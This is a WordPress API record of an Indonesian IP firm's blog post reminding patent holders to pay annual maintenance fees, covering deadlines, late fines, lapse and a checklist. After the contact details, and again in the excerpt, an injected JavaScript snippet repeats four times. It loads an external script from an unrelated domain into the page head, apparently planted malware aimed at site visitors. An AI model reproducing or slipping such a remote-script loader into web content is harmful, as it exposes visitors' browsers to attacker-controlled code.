{"id":5955,"date":"2025-12-17T00:00:15","date_gmt":"2025-12-17T00:00:15","guid":{"rendered":"https:\/\/affa.co.id\/?p=5955"},"modified":"2025-12-17T00:00:15","modified_gmt":"2025-12-17T00:00:15","slug":"tahun-baru-jangan-lupa-bayar-biaya-tahunan-paten-anda","status":"publish","type":"post","link":"https:\/\/affa.co.id\/bhs\/2025\/12\/17\/tahun-baru-jangan-lupa-bayar-biaya-tahunan-paten-anda\/","title":{"rendered":"Tahun Baru, Jangan Lupa Bayar Biaya Tahunan Paten Anda!"},"content":{"rendered":"<p><span style=\"font-weight: 400\">Menjelang akhir tahun, perhatian pelaku usaha dan inventor biasanya tertuju pada penutupan buku, evaluasi kinerja, serta perencanaan strategi bisnis tahun berikutnya. Namun, bagi pemilik Paten, ada satu aspek krusial yang sering kali luput dari perhatian, yakni Patent Annuity atau: pemeliharaan Hak Paten melalui pembayaran biaya tahunan.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Padahal, sebaik apa pun suatu invensi dan sebesar apa pun potensi komersialnya, Hak Paten dapat gugur hanya karena kelalaian administratif!<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Perlindungan Paten Tidak Berlaku Secara Otomatis<\/b><\/p>\n<p><span style=\"font-weight: 400\">Banyak pemilik Paten beranggapan bahwa setelah sertifikat Paten diterbitkan, hak eksklusif tersebut akan otomatis berlaku hingga masa perlindungannya berakhir. Kenyataannya, Paten di Indonesia bersifat kondisional. Artinya, keberlakuan Paten bergantung pada pemenuhan kewajiban hukum, salah satunya adalah dengan membayar biaya tahunan.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Kewajiban membayar biaya tahunan ini berlaku untuk Paten (jangka waktu perlindungan 20 tahun) dan Paten Sederhana (jangka waktu perlindungan 10 tahun), yang keduanya dihitung sejak tanggal penerimaan permohonan.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Apa yang Dimaksud dengan Biaya Tahunan Paten?<\/b><\/p>\n<p><span style=\"font-weight: 400\">Biaya Tahunan Paten atau biasa disebut juga dengan biaya pemeliharaan <\/span><b><i>(Patent Annuity) <\/i><\/b><span style=\"font-weight: 400\">adalah biaya yang WAJIB dibayarkan oleh Pemegang Paten sampai dengan tahun terakhir masa perlindungan. Biaya Tahunan ini merupakan <\/span><b>Penerimaan Negara Bukan Pajak (PNBP)<\/b><span style=\"font-weight: 400\"> yang dipungut sesuai dengan <\/span><b>Peraturan Pemerintah Nomor 28 Tahun 2019 <\/b><span style=\"font-weight: 400\">tentang Jenis dan Tarif Atas Jenis Penerimaan Negara Bukan Pajak yang berlaku pada Kementerian Hukum dan Hak Asasi Manusia. Komponen Biaya-nya terdiri atas Biaya Dasar ditambah dengan Biaya per Klaim. Dan apabila sampai dengan waktu yang ditentukan tidak dilakukan pembayaran, maka Paten dinyatakan dihapus!<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Untuk mencegah penghapusan itu, undang-undang Paten di Indonesia telah memberikan aturan sebagai berikut:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><b>Pembayaran Pemeliharaan Paten Tahun Pertama<\/b><b><br \/>\n<\/b><span style=\"font-weight: 400\">Wajib dilakukan paling lambat 6 (enam) bulan sejak tanggal sertifikat Paten diterbitkan, meliputi biaya tahunan yang dihitung sejak tanggal permohonan sampai dengan tahun diberi Paten, ditambah biaya tahunan satu tahun berikutnya.<\/span><\/li>\n<li style=\"font-weight: 400\"><b>Pembayaran Pemeliharaan Paten Tahun Selanjutnya<\/b><b><br \/>\n<\/b><span style=\"font-weight: 400\">Dilakukan paling lambat 1 (satu) bulan sebelum tanggal yang sama dengan tanggal penerimaan pada periode masa perlindungan tahun berikutnya. Misalnya jika pengajuan Paten Anda dilakukan pada 9 November, maka Biaya Pemeliharaannya akan jatuh tempo setiap tanggal 9 Oktober.<\/span><\/li>\n<li style=\"font-weight: 400\"><b>Opsi atas Keterlambatan Pembayaran<\/b><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Jika karena satu dan lain hal Anda tidak bisa membayar Biaya Pemeliharaan tepat waktu, maka biaya tahunan Paten tetap bisa dibayarkan ke\u00a0 <\/span><b>Direktorat Jenderal Kekayaan Intelektual (DJKI) <\/b><span style=\"font-weight: 400\">melalui <\/span><a href=\"http:\/\/affa.co.id\"><span style=\"font-weight: 400\">Konsultan Paten terdaftar dan terpercaya<\/span><\/a><span style=\"font-weight: 400\">. Namun, pembayaran yang telat akan dikenakan biaya denda tambahan sebesar 100% dari PNBP yang harus dibayarkan tidak lebih dari 6 bulan sejak tanggal jatuh tempo.<\/span><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400\">\u00a0<\/span><\/p>\n<p><b>Konsekuensi dari Gagal Bayar<\/b><\/p>\n<p><span style=\"font-weight: 400\">Jika Anda gagal membayar Biaya Pemeliharaan, baik itu saat jatuh tempo atau sudah melewati perpanjangan waktu yang diajukan, maka DJKI akan membatalkan Paten yang Anda miliki. Yang berarti Anda akan kehilangan seluruh perlindungan resmi atas invensi Anda di Indonesia.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Mengapa Akhir Tahun Menjadi Waktu yang Tepat untuk Evaluasi?<\/b><\/p>\n<p><span style=\"font-weight: 400\">Pergantian tahun merupakan momentum strategis untuk:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Menginventarisasi seluruh Paten yang dimiliki.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Memastikan status pembayaran biaya tahunan.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Menyelaraskan pengelolaan Paten dengan anggaran tahun berikutnya.<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Bagi pemilik portofolio Paten, evaluasi ini juga membantu menentukan:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Paten mana yang masih relevan secara bisnis.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Paten mana yang layak dipertahankan atau dihentikan pemeliharaannya.<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><b><i>Checklist <\/i><\/b><b>Sederhana untuk Pemilik Paten<\/b><\/p>\n<p><span style=\"font-weight: 400\">Sebagai panduan praktis, berikut beberapa hal yang sebaiknya diperiksa menjelang akhir tahun:<\/span><\/p>\n<ol>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Status aktif setiap Paten;<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Tanggal jatuh tempo biaya tahunan;<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Besaran biaya sesuai tahun perlindungan;<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Status penggunaan atau lisensi Paten; dan<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Kesesuaian data pemegang Paten (nama, alamat, badan hukum).<\/span><\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Langkah sederhana ini sering kali menjadi pembeda antara Paten yang tetap terlindungi dan Paten yang gugur tanpa disadari. Dengan mengikuti informasi dan mematuhi aturan, Anda dapat memastikan Paten Anda tetap berjalan dan sah terlindungi penuh dalam jangka waktu 20 tahun (atau 10 tahun untuk Paten Sederhana)\u00a0 di Indonesia.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Jika Anda membutuhkan informasi lebih lanjut terkait pembayaran biaya tahunan Paten di Indonesia, langsung hubungi kami melalui kanal berikut ini dan dapatkan 15 menit konsultasi GRATIS!<\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">\ud83d\udce9 E-Mail<\/span> <span style=\"font-weight: 400\">: patent@affa.co.id<\/span><\/p>\n<p><span style=\"font-weight: 400\">\ud83d\udcde Book a Call<\/span> <span style=\"font-weight: 400\">: +62 21 83793812<\/span><\/p>\n<p><span style=\"font-weight: 400\">\ud83d\udcac WhatsApp<\/span> <span style=\"font-weight: 400\">: +62 812 87000 889<\/span>var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Menjelang akhir tahun, perhatian pelaku usaha dan inventor biasanya tertuju pada penutupan buku, evaluasi kinerja, serta perencanaan strategi bisnis tahun berikutnya. Namun, bagi pemilik Paten, ada satu aspek krusial yang sering kali luput dari perhatian, yakni Patent Annuity atau: pemeliharaan Hak Paten melalui pembayaran biaya tahunan. &nbsp; Padahal, sebaik apa pun suatu invensi dan sebesar apa pun potensi komersialnya, Hak Paten dapat gugur hanya karena kelalaian administratif! &nbsp; Perlindungan Paten Tidak Berlaku Secara Otomatis Banyak pemilik Paten beranggapan bahwa setelah sertifikat Paten diterbitkan, hak eksklusif tersebut akan otomatis berlaku hingga masa perlindungannya berakhir. Kenyataannya, Paten di Indonesia bersifat kondisional. Artinya, keberlakuan Paten bergantung pada pemenuhan kewajiban hukum, salah satunya adalah dengan membayar biaya tahunan. &nbsp; Kewajiban membayar biaya tahunan ini berlaku untuk Paten (jangka waktu perlindungan 20 tahun) dan Paten Sederhana (jangka waktu perlindungan 10 tahun), yang keduanya dihitung sejak tanggal penerimaan permohonan. &nbsp; Apa yang Dimaksud dengan Biaya Tahunan Paten? Biaya Tahunan Paten atau biasa disebut juga dengan biaya pemeliharaan (Patent Annuity) adalah biaya yang WAJIB dibayarkan oleh Pemegang Paten sampai dengan tahun terakhir masa perlindungan. Biaya Tahunan ini merupakan Penerimaan Negara Bukan Pajak (PNBP) yang dipungut sesuai dengan Peraturan Pemerintah Nomor 28 Tahun 2019 tentang Jenis dan Tarif Atas Jenis Penerimaan Negara Bukan Pajak yang berlaku pada Kementerian Hukum dan Hak Asasi Manusia. Komponen Biaya-nya terdiri atas Biaya Dasar ditambah dengan Biaya per Klaim. Dan apabila sampai dengan waktu yang ditentukan tidak dilakukan pembayaran, maka Paten dinyatakan dihapus! &nbsp; Untuk mencegah penghapusan itu, undang-undang Paten di Indonesia telah memberikan aturan sebagai berikut: Pembayaran Pemeliharaan Paten Tahun Pertama Wajib dilakukan paling lambat 6 (enam) bulan sejak tanggal sertifikat Paten diterbitkan, meliputi biaya tahunan yang dihitung sejak tanggal permohonan sampai dengan tahun diberi Paten, ditambah biaya tahunan satu tahun berikutnya. Pembayaran Pemeliharaan Paten Tahun Selanjutnya Dilakukan paling lambat 1 (satu) bulan sebelum tanggal yang sama dengan tanggal penerimaan pada periode masa perlindungan tahun berikutnya. Misalnya jika pengajuan Paten Anda dilakukan pada 9 November, maka Biaya Pemeliharaannya akan jatuh tempo setiap tanggal 9 Oktober. Opsi atas Keterlambatan Pembayaran Jika karena satu dan lain hal Anda tidak bisa membayar Biaya Pemeliharaan tepat waktu, maka biaya tahunan Paten tetap bisa dibayarkan ke\u00a0 Direktorat Jenderal Kekayaan Intelektual (DJKI) melalui Konsultan Paten terdaftar dan terpercaya. Namun, pembayaran yang telat akan dikenakan biaya denda tambahan sebesar 100% dari PNBP yang harus dibayarkan tidak lebih dari 6 bulan sejak tanggal jatuh tempo. \u00a0 Konsekuensi dari Gagal Bayar Jika Anda gagal membayar Biaya Pemeliharaan, baik itu saat jatuh tempo atau sudah melewati perpanjangan waktu yang diajukan, maka DJKI akan membatalkan Paten yang Anda miliki. Yang berarti Anda akan kehilangan seluruh perlindungan resmi atas invensi Anda di Indonesia. &nbsp; Mengapa Akhir Tahun Menjadi Waktu yang Tepat untuk Evaluasi? Pergantian tahun merupakan momentum strategis untuk: Menginventarisasi seluruh Paten yang dimiliki. Memastikan status pembayaran biaya tahunan. Menyelaraskan pengelolaan Paten dengan anggaran tahun berikutnya. &nbsp; Bagi pemilik portofolio Paten, evaluasi ini juga membantu menentukan: Paten mana yang masih relevan secara bisnis. Paten mana yang layak dipertahankan atau dihentikan pemeliharaannya. &nbsp; Checklist Sederhana untuk Pemilik Paten Sebagai panduan praktis, berikut beberapa hal yang sebaiknya diperiksa menjelang akhir tahun: Status aktif setiap Paten; Tanggal jatuh tempo biaya tahunan; Besaran biaya sesuai tahun perlindungan; Status penggunaan atau lisensi Paten; dan Kesesuaian data pemegang Paten (nama, alamat, badan hukum). &nbsp; Langkah sederhana ini sering kali menjadi pembeda antara Paten yang tetap terlindungi dan Paten yang gugur tanpa disadari. Dengan mengikuti informasi dan mematuhi aturan, Anda dapat memastikan Paten Anda tetap berjalan dan sah terlindungi penuh dalam jangka waktu 20 tahun (atau 10 tahun untuk Paten Sederhana)\u00a0 di Indonesia. &nbsp; Jika Anda membutuhkan informasi lebih lanjut terkait pembayaran biaya tahunan Paten di Indonesia, langsung hubungi kami melalui kanal berikut ini dan dapatkan 15 menit konsultasi GRATIS! &nbsp; \ud83d\udce9 E-Mail : patent@affa.co.id \ud83d\udcde Book a Call : +62 21 83793812 \ud83d\udcac WhatsApp : +62 812 87000 889var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"author":1,"featured_media":5957,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[277,356],"tags":[307,579,308,630,309,632,310,314,315,317,318,319,321,325,327,298,328,302,339,305,369,306,473],"class_list":["post-5955","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-intellectual-property","category-patent","tag-intellectual-property","tag-patent-annuity","tag-ip","tag-performance","tag-kekayaan-intelektual","tag-happy-holiday","tag-ki","tag-your-ip-is-our-expertise","tag-merek-indonesia-bisa","tag-timing-is-everything","tag-trademark","tag-djki","tag-indonesia","tag-patent","tag-desain-industri","tag-merek","tag-industrial-design","tag-dgip","tag-paten","tag-affa","tag-indikasi-geografis","tag-affa-ipr","tag-geographical-indication"],"_links":{"self":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/5955","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/comments?post=5955"}],"version-history":[{"count":0,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/5955\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/media\/5957"}],"wp:attachment":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/media?parent=5955"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/categories?post=5955"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/tags?post=5955"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}